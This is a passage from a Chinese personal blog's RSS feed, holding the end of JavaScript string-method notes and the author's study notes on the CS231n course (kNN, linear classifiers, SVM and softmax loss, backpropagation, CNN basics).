&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;charAt&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;pos&lt;/span&gt;) 
&lt;span style=&#34;color:#a6e22e&#34;&gt;遍历字符串&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;：&lt;/span&gt;
&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;of&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;) {
  &lt;span style=&#34;color:#a6e22e&#34;&gt;alert&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt;); &lt;span style=&#34;color:#75715e&#34;&gt;// H,e,l,l,o（char 变为 &amp;#34;H&amp;#34;，然后是 &amp;#34;e&amp;#34;，然后是 &amp;#34;l&amp;#34; 等）
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;}
&lt;span style=&#34;color:#a6e22e&#34;&gt;字符串不可改&lt;/span&gt;
&lt;span style=&#34;color:#a6e22e&#34;&gt;toLowerCase&lt;/span&gt;()&lt;span style=&#34;color:#a6e22e&#34;&gt;和toUpperCase&lt;/span&gt;()
&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;indexOf&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;substr&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;pos&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;// 从pos开始找子串str,如果没有找到，则返回 -1，否则返回匹配成功的位置。
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;lastIndexOf&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;substr&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;pos&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;//从末尾开始找
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;includes&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;substr&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;pos&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;//根据 str 中是否包含 substr 来返回 true/false
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;startsWith&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;substr&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;endsWith&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;substr&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;// 判断是否以substr开始/结束
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;slice&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;start&lt;/span&gt; [, &lt;span style=&#34;color:#a6e22e&#34;&gt;end&lt;/span&gt;])  &lt;span style=&#34;color:#75715e&#34;&gt;//返回字符串从 start 到（但不包括）end 的部分。start/end 也有可能是负值。它们的意思是起始位置从字符串结尾计算
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;start&lt;/span&gt; [, &lt;span style=&#34;color:#a6e22e&#34;&gt;end&lt;/span&gt;]) &lt;span style=&#34;color:#75715e&#34;&gt;//返回字符串在 start 和 end 之间 的部分。
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;codePointAt&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;pos&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;//返回pos位置的字符代码
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;String.&lt;span style=&#34;color:#a6e22e&#34;&gt;fromCodePoint&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;code&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;//通过数字 code 创建字符
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Cs231n学习笔记</title>
      <link>https://weivwang.github.io/studynotes/cs231n_learn/</link>
      <pubDate>Wed, 28 Apr 2021 16:32:56 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/cs231n_learn/</guid>
      <description>&lt;p&gt;2021-2-1&lt;/p&gt;
&lt;p&gt;课程链接： &lt;a href=&#34;https://www.bilibili.com/video/BV1nJ411z7fe?p=2&amp;amp;spm_id_from=pageDriver&#34;&gt;https://www.bilibili.com/video/BV1nJ411z7fe?p=2&amp;amp;spm_id_from=pageDriver&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;课程重点：convolutional neural network (CNN) 卷积神经网络&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;focus on&lt;!-- raw HTML omitted --&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;image classification problems. 图像分类问题&lt;/p&gt;
&lt;p&gt;ImageNet 大赛推动了图像识别的发展，最近几年 GPU 性能提高较快，所以才允许该领域快速发展，另一个方面：数据量&lt;/p&gt;
&lt;p&gt;机器深刻地理解图像还早&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;python ，jupyter notebook tutorial&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;对计算机来说，图片就是一个像素值矩阵&lt;/p&gt;
&lt;p&gt;challenges：光线，形变，遮挡 Occlusion，背景，类内差异(cats&#39; color&amp;hellip;.)&lt;/p&gt;
&lt;p&gt;Data-Driven Approach：从网上找一堆猫的照片，作为训练&lt;/p&gt;
&lt;p&gt;简易模型：&lt;/p&gt;
&lt;p&gt;train:&lt;/p&gt;
&lt;p&gt;​ def train(images, labels):&lt;/p&gt;
&lt;p&gt;​ return models&lt;/p&gt;
&lt;p&gt;Predict:&lt;/p&gt;
&lt;p&gt;​ def predict(model, test_images):&lt;/p&gt;
&lt;p&gt;​ return test_labels&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Lecture1&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;最近临近算法&lt;!-- raw HTML omitted --&gt;：&lt;/p&gt;
&lt;p&gt;L1 :曼哈顿距离&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/02/10/cA5pjUNB7VExJmk.png&#34; alt=&#34;IMG_0116&#34;&gt;&lt;/p&gt;
&lt;p&gt;给出了一个比较两个图片相像性的方法。&lt;/p&gt;
&lt;p&gt;落后的方法：train:O(1)&lt;/p&gt;
&lt;p&gt;Predict: O(n)，n 个比较&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;K-最临近算法&lt;!-- raw HTML omitted --&gt;：KNN&lt;/p&gt;
&lt;p&gt;找到最近的 k 个点，更复杂，k 越大，结果越好&lt;/p&gt;
&lt;p&gt;L2 = L1 取根号 ， 欧式距离&lt;/p&gt;
&lt;p&gt;L1 基于我们对坐标轴的选择，L2 不会&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;K 的选择，距离的算法选择：超参数，不能从数据集里面获得，依赖于具体问题&lt;/p&gt;
&lt;p&gt;比如选 L1 还是 L2，依赖你到底要不要注重坐标轴的选择，best answer：depend on question&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Lecture2.   线性分类&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;图片像素值 x&amp;mdash;&amp;mdash;&amp;mdash;-f(x,W)&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;参数&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-分类&lt;/p&gt;
&lt;p&gt;W 为权重（自己提出的） f(x,W) = Wx +b&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/02/10/qOUWS4Z6dRLhQ8X.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Lecture3.   如何选择：W 和 f(x, W)的形式？&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/02/10/qOUWS4Z6dRLhQ8X.png&#34; alt=&#34;IMG_0118&#34;&gt;&lt;/p&gt;
&lt;p&gt;回顾：&lt;/p&gt;
&lt;p&gt;猫的图片&amp;mdash;&amp;mdash;2*2 矩阵&amp;mdash;&amp;mdash;4*1 矩阵&amp;mdash;&amp;mdash;输入到 f(x,W)&lt;/p&gt;
&lt;p&gt;W 为自己探索的得出的 3*4 矩阵，f(x,W)为自己提出的函数，b 为修正&lt;/p&gt;
&lt;p&gt;在这里 f(x,W) = Wx + b 可以得到一个 3*1 的矩阵，对应 3 类，某一类的得分越高，则为该类的概率越高&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;如何选择 W？&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;​ 如果想让机器来进行评估，需要一个函数把 W 当输入，告诉我们这个 W 好不好，这个函数称作&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;损失函数（loss function)&lt;/strong&gt;，可以定量地衡量 W 的好坏&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;SVM loss&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Support Vector Machine 支持向量机&lt;/p&gt;
&lt;p&gt;Sj 是通过分类器，预测出来的类的分数，S-Yi 是这个样本的正确的分类标签&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/02/10/d5FcEvqJR8Hu1Ta.png&#34; alt=&#34;IMG_0120&#34;&gt;&lt;/p&gt;
&lt;p&gt;最小值为 0，最大值无穷&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;问题：发现一个 W 使 L = 0，W 唯一吗？&lt;/p&gt;
&lt;p&gt;不唯一&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;通常在 L（w）后面+一个 lanmudaR(W)，正则项，防止过度拟合&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Softmax Classifier&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;more common&lt;img src=&#34;https://i.loli.net/2021/02/10/SnOb2cl5GvFAWZf.png&#34; alt=&#34;IMG_0121&#34;&gt;&lt;/p&gt;
&lt;p&gt;最小值：0，最大化：inf&lt;/p&gt;
&lt;p&gt;L_i = 0 代表真实，可以理解为损失程度，L_i 越大，代表损失越多&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/02/10/6GPJAsUjwrivpB3.png&#34; alt=&#34;IMG_0122&#34;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;W 最开始如何选？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1，最笨办法：random&lt;/p&gt;
&lt;p&gt;2，梯度：通常是选一个之后进行优化，往往用到梯度，告诉我们向那个方向移动一个步长，损失变化会是多少&lt;/p&gt;
&lt;p&gt;在每一个维度修改一小部分，进行&lt;strong&gt;有限差分逼近&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;问题：W 维度可能很多，或者 CNN 很大，导致计算很慢&lt;/p&gt;
&lt;p&gt;可以用来 debug&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;怎么计算梯度？ ：&lt;strong&gt;反向传播算法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;就是求导的链式法则&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;之前讲的是线性分类&lt;/p&gt;
&lt;p&gt;现在讲 2 层神经网络&lt;/p&gt;
&lt;p&gt;W2 对 W1 得到的分数 h 再进行一个加权&lt;img src=&#34;https://i.loli.net/2021/02/10/5z7gcIdpyktDiEK.png&#34; alt=&#34;IMG_0126&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/02/10/juAqi4M5JadpNzm.png&#34; alt=&#34;IMG_0127&#34;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;卷积神经网络&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;历史：&lt;/p&gt;
&lt;p&gt;2012 年神经网络爆发，最早是声音识别&lt;/p&gt;
&lt;p&gt;CNN 在 ImageNet 取得很好的效果，之后被广泛使用&lt;/p&gt;
&lt;p&gt;人脸识别，姿势识别，alphago，医学图像识别&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;卷积核：用一个更小的矩阵滑过原矩阵&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>